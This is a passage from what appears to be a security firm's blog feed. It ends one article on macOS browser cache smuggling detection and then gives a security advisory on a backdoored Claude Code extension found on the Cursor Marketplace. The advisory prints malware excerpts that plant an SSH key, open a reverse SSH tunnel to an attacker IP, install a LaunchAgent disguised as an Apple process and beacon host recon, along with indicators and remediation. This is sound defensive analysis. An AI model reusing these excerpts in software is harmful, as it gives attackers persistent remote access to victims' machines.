<p>Look for non-browser processes opening many files under <code>Cache_Data</code>, <code>cache2/entries</code> or Safari&rsquo;s <code>WebKitCache</code>, particularly shells and interpreters. Correlate those reads with file creation, execute-permission changes and subsequent execution. Broad enumeration is useful evidence, not a prerequisite: a command that knows the entry&rsquo;s location can read it directly. Baseline legitimate backup and security tooling before adding exclusions.</p>
<p>Our demo commands used <code>find</code>, <code>grep</code> and <code>dd</code>, but detections should not depend exclusively on those commands. The same operation could be performed with native file APIs or other native command-line tools.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Browser cache smuggling brings browser-native payload staging to macOS. By default, Chrome and Firefox cache content is recoverable by other unsandboxed processes running as the same user, without browser APIs or another network request. Safari&rsquo;s protected app container adds an access boundary absent from those cache paths; granting Full Disk Access to the recovery application removes that barrier.</p>
<p>Staging is not execution: a ClickFix command or another local action must still recover and run the content. But writing cached bytes into a new file with <code>dd</code> does not copy the source&rsquo;s quarantine attribute, and provenance alone does not prevent execution. Browser delivery does not guarantee that the recovered payload receives the same treatment as a conventional download.</p>
<p>The most direct defense is to deny unrelated processes access to browser caches, stopping recovery before execution becomes a question. Limit unnecessary Full Disk Access, interrupt the ClickFix handoff with clipboard controls, and monitor non-browser cache reads followed by file creation or execution.</p>
]]></content:encoded><category>Research</category><category>Browser Security</category><category>ClickFix</category><category>Protections</category><category>File Access Controls</category><media:content url="https://phorion.io/blog/browser-cache-smuggling-macos/social-card.png" medium="image"/></item><item><title>Official Claude Code Extension Compromise: Security Advisory</title><link>https://phorion.io/blog/offical-claude-code-vsx-compromise/</link><guid isPermaLink="true">https://phorion.io/blog/offical-claude-code-vsx-compromise/</guid><pubDate>Fri, 30 Oct 2026 00:00:00 +0000</pubDate><description>Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.
Organisations should immediately review their environments for use of Claude Code for VSCode 2.1.312 or 2.1.313 and engage incident response where use of the extension is discovered.</description><content:encoded><![CDATA[<section class="post-tldr" aria-label="TL;DR">
  <h2 class="post-tldr__title">TL;DR</h2>
  <div class="post-tldr__body">
    <p>Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.</p>
<p>Organisations should immediately review their environments for use of Claude Code for VSCode <code>2.1.312</code> or <code>2.1.313</code> and engage incident response where use of the extension is discovered.</p>

  </div>
</section>

<section class="post-revisions" aria-label="Revision history">
  <h2 class="post-revisions__title">Revision history</h2>
  <ol>
<li><span class="post-revisions__entry"><strong>Initial publication</strong> <time datetime="2026-10-30T05:30:57Z">30 Oct, 05:30 UTC</time></span></li>
<li><span class="post-revisions__entry"><strong>Marketplace correction</strong> <time datetime="2026-10-30T09:13:55Z">30 Oct, 09:13 UTC</time></span><br>
Corrected the affected marketplace to Cursor.</li>
<li><span class="post-revisions__entry"><strong>Version-scope update</strong> <time datetime="2026-10-31T00:43:37Z">31 Oct, 00:43 UTC</time></span><br>
Added <code>2.1.312</code> per <a href="https://cursor.com/blog/claude-code-extension-security-notice">Cursor&rsquo;s updated notice</a>.</li>
</ol>

</section>

<p>Phorion has discovered a compromise of the official <strong>Claude Code for VS Code</strong> extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the affected versions, <code>2.1.312</code> and <code>2.1.313</code>, from its marketplace.</p>
<p>While the implant includes setup and persistence logic for <strong>macOS, Linux, and Windows</strong>, we&rsquo;re going to focus primarily on <strong>macOS</strong> in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.</p>
<p>The Cursor Marketplace serves extensions for the Cursor editor. Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.</p>
<p>Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, <code>systemsetup -getremotelogin</code> prints an administrator-access error and exits with status <code>0</code> instead of returning <code>Off</code>. Because the script only tries to enable SSH if the output matches <code>Off</code>, it skips the enablement step entirely. On a Mac that doesn&rsquo;t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.</p>
<p>In this post, we&rsquo;ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet. The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.</p>
<h2 id="infection-chain">Infection Chain</h2>
<h3 id="the-cursor-marketplace-extension">The Cursor Marketplace Extension</h3>
<p>The compromised <code>extension.js</code> file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle. The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal <code>activate</code> and <code>deactivate</code> exports, and UI code.</p>
<p>The injected prefix pulls in standard Node.js modules (<code>child_process</code>, <code>fs</code>, <code>os</code>, <code>path</code>, <code>http</code>, and <code>crypto</code>) and executes as soon as Node loads the file, before the extension&rsquo;s normal <code>activate</code> callback even runs. The user doesn&rsquo;t need to interact with the extension for the payload to fire.</p>
<h3 id="stage-1---preparing-ssh-access">Stage 1 - Preparing SSH Access</h3>
<p>First, the payload makes sure <code>~/.ssh</code> exists and appends an attacker-controlled Ed25519 public key to <code>~/.ssh/authorized_keys</code>, setting permissions to <code>0700</code> on the directory and <code>0600</code> on the file.</p>
<p>The key uses the comment <code>svc-telemetry</code>. Before appending, the script checks whether <code>svc-telemetry</code> is already in the file rather than checking for the key itself. When hunting for this activity, it&rsquo;s worth checking the public-key fingerprint rather than relying solely on the comment string.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> sd <span style="color:#719e07">=</span> path.join(HOME, <span style="color:#2aa198">&#34;.ssh&#34;</span>),
</span></span><span style="display:flex;"><span>    ak <span style="color:#719e07">=</span> path.join(sd, <span style="color:#2aa198">&#34;authorized_keys&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> (cur.indexOf(<span style="color:#2aa198">&#34;svc-telemetry&#34;</span>) <span style="color:#719e07">&lt;</span> <span style="color:#2aa198">0</span>) {
</span></span><span style="display:flex;"><span>  fs.appendFileSync(ak, PUB <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;\n&#34;</span>);
</span></span><span style="display:flex;"><span>  d.sshKey <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;added&#34;</span>
</span></span><span style="display:flex;"><span>} <span style="color:#719e07">else</span> {
</span></span><span style="display:flex;"><span>  d.sshKey <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;present&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Here, <code>cur</code> holds the existing contents of <code>authorized_keys</code>, and <code>PUB</code> is the embedded attacker public key (redacted here).</p>
<p>With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:</p>
<ul>
<li><strong>Linux:</strong> tries to enable and start <code>sshd</code> or <code>ssh</code> via <code>systemctl</code>, falling back to <code>service</code> and <code>/etc/init.d/</code>.</li>
<li><strong>macOS:</strong> checks Remote Login and, if it reports <code>Off</code>, tries to enable it via <code>sudo -n systemsetup -setremotelogin on</code>.</li>
<li><strong>Windows:</strong> tries to install and start OpenSSH Server using PowerShell.</li>
</ul>
<p>None of these steps include a privilege escalation exploit. Non-interactive <code>sudo -n</code> will fail unless the user already has passwordless sudo cached or configured, so starting a system service won&rsquo;t always succeed from a standard user context.</p>
<p>It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (<code>det()</code>) that hardcodes <code>/bin/sh</code>, which isn&rsquo;t going to get very far on a standard Windows install.</p>
<h3 id="a-bug-in-the-macos-ssh-logic">A bug in the macOS SSH logic?</h3>
<p>On macOS, the setup may run into problems before it even gets to the <code>sudo</code> command. The script runs <code>systemsetup -getremotelogin</code> without elevation and tests the output against <code>/Off/i</code>. It only tries to enable Remote Login if the output contains <code>Off</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">else</span> <span style="color:#719e07">if</span> (PLAT <span style="color:#719e07">===</span> <span style="color:#2aa198">&#34;darwin&#34;</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">var</span> rl <span style="color:#719e07">=</span> ex(<span style="color:#2aa198">&#34;systemsetup -getremotelogin 2&gt;/dev/null&#34;</span>, <span style="color:#2aa198">4000</span>);
</span></span><span style="display:flex;"><span>  d.remoteLogin <span style="color:#719e07">=</span> rl;
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (<span style="color:#dc322f">/Off/i</span>.test(rl)) {
</span></span><span style="display:flex;"><span>    det(<span style="color:#2aa198">&#34;sudo -n systemsetup -setremotelogin on &gt;/dev/null 2&gt;&amp;1&#34;</span>);
</span></span><span style="display:flex;"><span>    d.remoteLoginOn <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;tried&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Notice that the second command (<code>-setremotelogin on</code>) uses <code>sudo -n</code>, while the first command (<code>-getremotelogin</code>) doesn&rsquo;t. When you run <code>systemsetup -getremotelogin</code> as a standard user on macOS, you get this instead:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>You need administrator access to run this tool... exiting!
</span></span></code></pre></div><p><code>systemsetup</code> refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status <code>0</code>. The malware&rsquo;s <code>ex()</code> helper grabs stdout and returns it:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">function</span> ex(c, t) {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">try</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> cp.execSync(c, {
</span></span><span style="display:flex;"><span>      timeout<span style="color:#719e07">:</span> t <span style="color:#719e07">||</span> <span style="color:#2aa198">3000</span>,
</span></span><span style="display:flex;"><span>      stdio<span style="color:#719e07">:</span> [<span style="color:#2aa198">&#34;ignore&#34;</span>, <span style="color:#2aa198">&#34;pipe&#34;</span>, <span style="color:#2aa198">&#34;ignore&#34;</span>],
</span></span><span style="display:flex;"><span>      windowsHide<span style="color:#719e07">:</span> <span style="color:#cb4b16">true</span>
</span></span><span style="display:flex;"><span>    }).toString().trim()
</span></span><span style="display:flex;"><span>  } <span style="color:#719e07">catch</span> (e) {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#2aa198">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Because the output is <code>&quot;You need administrator access to run this tool... exiting!&quot;</code>, <code>/Off/i.test(rl)</code> evaluates to <code>false</code>.</p>
<p>As a result, the script skips the <code>if</code> block and never runs <code>sudo -n systemsetup -setremotelogin on</code>. It effectively treats &ldquo;I don&rsquo;t have permission to check if SSH is off&rdquo; as &ldquo;SSH is already on&rdquo;, which also explains why you won&rsquo;t see the enablement attempt in process telemetry when the extension runs as a normal user.</p>
<blockquote>
<p><strong>This bug can break the final step of the access chain.</strong> If Remote Login isn&rsquo;t already enabled on the Mac, the outbound tunnel can still connect to the attacker&rsquo;s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.</p>
</blockquote>
<p>Of course, that isn&rsquo;t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.</p>
<h3 id="stage-2---establishing-the-reverse-ssh-tunnel">Stage 2 - Establishing the Reverse SSH Tunnel</h3>
<p>Next, the script sets up an outbound SSH connection to <code>134.209.82[.]225</code> as the <code>tunnel</code> user on port 22. To authenticate to the attacker&rsquo;s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment <code>svc-telemetry-tun</code>.</p>
<p>It&rsquo;s worth keeping the two keys straight during an investigation:</p>
<ul>
<li>The public key added to <code>~/.ssh/authorized_keys</code> (<code>svc-telemetry</code>) lets the attacker log into the victim&rsquo;s machine.</li>
<li>The embedded private key (<code>svc-telemetry-tun</code>) lets the victim&rsquo;s machine connect out to the attacker&rsquo;s tunnel server.</li>
</ul>
<p>The script writes this tunnel key to the OS temporary directory with a filename starting with <code>.stk_</code>, followed by the first ten characters of the MD5 hash of the hostname and home directory path:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> kf <span style="color:#719e07">=</span> path.join(
</span></span><span style="display:flex;"><span>  TMP,
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;.stk_&#34;</span> <span style="color:#719e07">+</span> crypto.createHash(<span style="color:#2aa198">&#34;md5&#34;</span>)
</span></span><span style="display:flex;"><span>    .update(<span style="color:#b58900">String</span>(os.hostname()) <span style="color:#719e07">+</span> HOME).digest(<span style="color:#2aa198">&#34;hex&#34;</span>).slice(<span style="color:#2aa198">0</span>, <span style="color:#2aa198">10</span>)
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> RF <span style="color:#719e07">=</span> (PLAT <span style="color:#719e07">===</span> <span style="color:#2aa198">&#34;win32&#34;</span>) <span style="color:#719e07">?</span> <span style="color:#2aa198">&#34;\&#34;*:0:localhost:22\&#34;&#34;</span> <span style="color:#719e07">:</span> <span style="color:#2aa198">&#34;&#39;*:0:localhost:22&#39;&#34;</span>;
</span></span></code></pre></div><p>The tunnel uses <code>-R *:0:localhost:22</code> for remote port forwarding. Passing <code>0</code> asks the attacker&rsquo;s SSH server to dynamically allocate a listening port and forward any traffic hitting it back through the tunnel to <code>localhost:22</code> on the victim&rsquo;s machine:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Affected host -- outbound SSH tunnel --&gt; External SSH server
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Operator -- separate connection --&gt; Server&#39;s allocated port
</span></span><span style="display:flex;"><span>                                            |
</span></span><span style="display:flex;"><span>                                 Through the existing tunnel
</span></span><span style="display:flex;"><span>                                            |
</span></span><span style="display:flex;"><span>                                            v
</span></span><span style="display:flex;"><span>                                  Affected host&#39;s SSH:22
</span></span><span style="display:flex;"><span>                                            |
</span></span><span style="display:flex;"><span>                                  Login using the planted key
</span></span></code></pre></div><p>Because the tunnel runs with <code>-N</code>, it just holds the port forward open without executing a command on the remote server. When the operator wants to access the machine, they start a separate SSH session through the allocated port on their server, authenticating against the victim&rsquo;s local SSH daemon using the key planted in Stage 1. That gives them a full interactive shell and file transfer capability without needing any custom C2 command handling in the JavaScript itself.</p>
<p>The SSH command also passes flags to keep the connection quiet and non-interactive: host-key checking is disabled, <code>known_hosts</code> is ignored, <code>BatchMode</code> and <code>IdentitiesOnly</code> are enabled, keepalives are set to 30 seconds (<code>ServerAliveCountMax=3</code>), and <code>ExitOnForwardFailure</code> is turned on.</p>
<p>If <code>autossh</code> is installed, the script uses it; otherwise it falls back to standard <code>ssh</code>. It wraps the connection in a detached retry loop that sleeps for 60 seconds between attempts, using <code>pgrep</code> on Unix systems to avoid spinning up duplicate initial tunnels. Because the loop is detached, the tunnel stays up even after the user closes their IDE.</p>
<h3 id="stage-3---keeping-access-available">Stage 3 - Keeping Access Available</h3>
<p>To survive a reboot, the script sets up platform-specific persistence alongside the initial detached tunnel:</p>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Platform</th>
					<th style="text-align: left">Artifacts</th>
					<th style="text-align: left">Persistence mechanism</th>
					<th style="text-align: left">Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left">Linux</td>
					<td style="text-align: left"><code>~/.config/.smt</code>, <code>~/.config/.smtk</code></td>
					<td style="text-align: left">Writes a shell script that recreates the tunnel key and loops the SSH connection, then adds an <code>@reboot</code> entry to the user&rsquo;s crontab.</td>
					<td style="text-align: left">Contains a bug in the crontab check that can wipe existing user cron jobs on repeat runs (detailed below).</td>
			</tr>
			<tr>
					<td style="text-align: left">macOS</td>
					<td style="text-align: left"><code>~/.config/.smt</code>, <code>~/.config/.smtk</code>, <code>~/Library/LaunchAgents/com.apple.sysmond.plist</code></td>
					<td style="text-align: left">Writes a user LaunchAgent that runs <code>/bin/sh ~/.config/.smt</code> with <code>RunAtLoad</code> and <code>KeepAlive</code> set to <code>true</code>, then loads it via <code>launchctl</code>.</td>
					<td style="text-align: left">Runs in the user context rather than as a root LaunchDaemon.</td>
			</tr>
			<tr>
					<td style="text-align: left">Windows</td>
					<td style="text-align: left"><code>~/.config/smt.cmd</code>, <code>~/.config/smtk</code>, <code>%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd</code></td>
					<td style="text-align: left">Tries to create a scheduled task named <code>SysMon</code> running as <code>SYSTEM</code> on startup. If that fails, drops <code>sysmon.cmd</code> into the user&rsquo;s Startup folder.</td>
					<td style="text-align: left">Creating a <code>SYSTEM</code> task requires admin privileges; the Startup folder fallback runs as the user at login.</td>
			</tr>
	</tbody>
</table>
</div>
<p>On macOS and Linux, the <code>~/.config/.smt</code> script has the tunnel private key embedded inside it and writes it out to <code>~/.config/.smtk</code> before starting the reconnection loop.</p>
<p>On macOS, the LaunchAgent disguises itself as <code>com.apple.sysmond.plist</code> inside <code>~/Library/LaunchAgents/</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#268bd2">&lt;key&gt;</span>Label<span style="color:#268bd2">&lt;/key&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">&lt;string&gt;</span>com.apple.sysmond<span style="color:#268bd2">&lt;/string&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">&lt;!-- ... --&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">&lt;key&gt;</span>RunAtLoad<span style="color:#268bd2">&lt;/key&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">&lt;true/&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">&lt;key&gt;</span>KeepAlive<span style="color:#268bd2">&lt;/key&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">&lt;true/&gt;</span>
</span></span></code></pre></div><h3 id="stage-4---host-recon">Stage 4 - Host Recon</h3>
<p>Finally, the script gathers basic host reconnaissance and sends a one-off beacon back to the attacker&rsquo;s server:</p>
<ul>
<li>Hostname, username, OS platform, and architecture</li>
<li>Home directory, current working directory, and global Git email (<code>git config --global user.email</code>)</li>
<li>Public IP address and status flags from each setup stage (e.g. whether the SSH key was added and which persistence method ran)</li>
<li>Up to 40 environment variable <strong>names</strong> (not values) matching <code>/KEY|TOKEN|SECRET|PASS|AWS|GCP/i</code></li>
</ul>
<p>The environment variable check uses <code>Object.keys(process.env)</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#b58900">Object</span>.keys(process.env)
</span></span><span style="display:flex;"><span>  .filter(<span style="color:#268bd2">function</span>(k) {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#dc322f">/KEY|TOKEN|SECRET|PASS|AWS|GCP/i</span>.test(k)
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  .slice(<span style="color:#2aa198">0</span>, <span style="color:#2aa198">40</span>)
</span></span></code></pre></div><p>Because it only grabs the variable names, the beacon doesn&rsquo;t exfiltrate the secret values themselves. Instead, it gives the operator a quick inventory of which cloud credentials or API tokens live on the machine so they know which hosts to prioritise.</p>
<p>To get the machine&rsquo;s public IP, the script queries <code>ifconfig[.]me</code>, falling back to <code>api[.]ipify[.]org</code>.</p>
<p>It then sends the JSON report via plaintext HTTP POST requests to <code>/beacon</code> on both <code>134.209.82[.]225:8099</code> and <code>127.0.0.1:8099</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> r <span style="color:#719e07">=</span> http.request({
</span></span><span style="display:flex;"><span>  host<span style="color:#719e07">:</span> h,
</span></span><span style="display:flex;"><span>  port<span style="color:#719e07">:</span> p,
</span></span><span style="display:flex;"><span>  path<span style="color:#719e07">:</span> <span style="color:#2aa198">&#34;/beacon&#34;</span>,
</span></span><span style="display:flex;"><span>  method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>  timeout<span style="color:#719e07">:</span> <span style="color:#2aa198">3000</span>,
</span></span><span style="display:flex;"><span>  headers<span style="color:#719e07">:</span> {<span style="color:#2aa198">&#34;content-type&#34;</span><span style="color:#719e07">:</span> <span style="color:#2aa198">&#34;application/json&#34;</span>}
</span></span><span style="display:flex;"><span>}, <span style="color:#268bd2">function</span>(res) {
</span></span><span style="display:flex;"><span>  res.resume()
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span><span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span>r.write(JSON.stringify(d));
</span></span><span style="display:flex;"><span>r.end()
</span></span></code></pre></div><p>Why it also sends a copy of the beacon to <code>127.0.0.1:8099</code> isn&rsquo;t clear from the sample; the script itself doesn&rsquo;t set up a local listener on that port.</p>
<p>The beacon is scheduled once with <code>setTimeout</code> (1.5 seconds after the initial setup runs) and discards any HTTP response with <code>res.resume()</code>. It&rsquo;s purely a check-in to let the operator know the host is ready, while the SSH tunnel handles the actual access.</p>
<h2 id="detection-opportunities">Detection Opportunities</h2>
<p>From a detection standpoint, there are several behaviours in this chain that stand out on macOS using Endpoint Security Framework (ESF) telemetry.</p>
<h3 id="ssh-key-and-configuration-changes">SSH Key and Configuration Changes</h3>
<p>Because the malware appends to <code>~/.ssh/authorized_keys</code> directly using Node&rsquo;s <code>fs.appendFileSync</code>, process-only rules watching for shell commands like <code>echo</code> or <code>tee</code> touching <code>authorized_keys</code> won&rsquo;t catch it. This is where file modification telemetry is essential: watching for IDE helper processes (<code>Code Helper</code>, <code>Cursor Helper</code>, etc.) creating or writing to <code>~/.ssh/authorized_keys</code>.</p>
<p>Even though the IDE binary itself is validly signed, its extension host process has no business modifying SSH authentication files in the background.</p>
<p>While you should also monitor for <code>systemsetup -setremotelogin on</code>, don&rsquo;t rely on it as a required condition for alerting on this campaign. As we saw above, the broken state check on macOS means that command often won&rsquo;t run at all.</p>
<h3 id="user-launchagent-persistence">User LaunchAgent Persistence</h3>
<p>The persistence setup on macOS gives us a couple of strong signals:</p>
<ul>
<li>A non-Apple process writing a plist with a <code>com.apple.*</code> label (<code>~/Library/LaunchAgents/com.apple.sysmond.plist</code>).</li>
<li>A LaunchAgent configured to execute <code>/bin/sh</code> against a hidden script in the user&rsquo;s home directory (<code>~/.config/.smt</code>).</li>
</ul>
<p>Because the initial tunnel is spawned as a detached process and <code>launchd</code> later manages <code>.smt</code> directly, the subsequent <code>ssh</code> processes won&rsquo;t have the IDE as their immediate parent in a live process tree. Correlating the file creation of <code>.smt</code> and <code>com.apple.sysmond.plist</code> back to the IDE extension host makes it much easier to piece the chain together.</p>
<h3 id="ssh-tunnels-and-follow-on-access">SSH Tunnels and Follow-On Access</h3>
<p>On the process and network side, look for:</p>
<ul>
<li><code>ssh</code> or <code>autossh</code> launched with remote port forwarding (<code>-R *:0:localhost:22</code>) and identity files pulled from <code>/tmp/.stk_*</code> or <code>~/.config/.smtk</code>.</li>
<li>Outbound SSH connections to <code>134.209.82[.]225</code> on port 22, alongside HTTP POST requests to <code>134.209.82[.]225:8099</code> (and connection attempts to <code>127.0.0.1:8099</code>).</li>
</ul>
<p>If you find a host where this extension ran, it&rsquo;s important to check whether the tunnel was merely established or whether an operator actually logged in through it. Because inbound sessions arrive through the local port forward, successful logins in SSH logs will appear to come from <code>localhost</code> (<code>127.0.0.1</code> or <code>::1</code>) authenticating with the <code>svc-telemetry</code> key.</p>
<h3 id="remediation">Remediation</h3>
<p>If you identify an affected machine, <strong>uninstalling the extension alone won&rsquo;t remove the backdoor</strong>. Make sure your response covers all of the stages it drops:</p>
<ol>
<li><strong>Kill active tunnel processes:</strong> Terminate the <code>/bin/sh</code> retry loop and any <code>ssh</code> or <code>autossh</code> processes connecting to <code>134.209.82[.]225</code>.</li>
<li><strong>Remove persistence:</strong> Unload and delete <code>~/Library/LaunchAgents/com.apple.sysmond.plist</code> on macOS (or clean up the <code>@reboot</code> cron entry on Linux / <code>SysMon</code> scheduled task and Startup script on Windows), and remove <code>~/.config/.smt</code> and <code>~/.config/.smtk</code>.</li>
<li><strong>Clean up SSH keys and state:</strong> Remove the <code>svc-telemetry</code> public key from <code>~/.ssh/authorized_keys</code>, delete <code>/tmp/.stk_*</code>, and verify that Remote Login (SSH) hasn&rsquo;t been enabled unexpectedly.</li>
<li><strong>Rotate credentials:</strong> If SSH was enabled on the host, or if there&rsquo;s any evidence of an inbound login, rotate any credentials or tokens that were accessible to that user account (especially those matching the <code>KEY|TOKEN|SECRET|PASS|AWS|GCP</code> environment variable filter).</li>
</ol>
<h2 id="phorions-approach">Phorion&rsquo;s Approach</h2>
<p>Phorion&rsquo;s out-of-the-box detection coverage flags the macOS persistence used in this attack across multiple rules, including non-Apple processes creating <code>com.apple.*</code> LaunchAgents and LaunchAgents executing shell scripts from hidden directories.</p>
<p>Beyond persistence, Phorion&rsquo;s file access telemetry captures the IDE extension host modifying <code>~/.ssh/authorized_keys</code> directly, and <a href="/blog/phorion-protections/">Phorion Protections</a> can be used to lock down <code>~/.ssh/</code> so that only authorised processes can read or modify SSH keys and configuration files in the first place.</p>
<p>If you want to see how Phorion detects and blocks supply chain threats like this across your Mac fleet, <a href="#cta">get in touch to arrange a demo</a>.</p>
<h2 id="indicators">Indicators</h2>
<h3 id="sample-and-public-key-fingerprints">Sample and Public-Key Fingerprints</h3>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Indicator</th>
					<th style="text-align: left">Value</th>
					<th style="text-align: left">Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left">SHA-256</td>
					<td style="text-align: left"><code>ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15</code></td>
					<td style="text-align: left">Backdoored <code>extension.js</code> bundle</td>
			</tr>
			<tr>
					<td style="text-align: left">Victim-login public-key fingerprint</td>
					<td style="text-align: left"><code>SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk</code></td>
					<td style="text-align: left">Ed25519 key appended to <code>~/.ssh/authorized_keys</code> (comment <code>svc-telemetry</code>)</td>
			</tr>
			<tr>
					<td style="text-align: left">Tunnel public-key fingerprint</td>
					<td style="text-align: left"><code>SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ</code></td>
					<td style="text-align: left">Embedded Ed25519 key used to authenticate to the tunnel server (comment <code>svc-telemetry-tun</code>)</td>
			</tr>
	</tbody>
</table>
</div>
<h3 id="network-indicators">Network Indicators</h3>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Indicator</th>
					<th style="text-align: left">Type</th>
					<th style="text-align: left">Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><code>134.209.82[.]225</code> (TCP <code>22</code>, user <code>tunnel</code>)</td>
					<td style="text-align: left">IP / SSH</td>
					<td style="text-align: left">Outbound reverse SSH tunnel server</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>134.209.82[.]225:8099</code> (<code>POST /beacon</code>)</td>
					<td style="text-align: left">IP / HTTP</td>
					<td style="text-align: left">External host-report beacon endpoint</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>127.0.0.1:8099</code> (<code>POST /beacon</code>)</td>
					<td style="text-align: left">Loopback / HTTP</td>
					<td style="text-align: left">Local beacon destination</td>
			</tr>
			<tr>
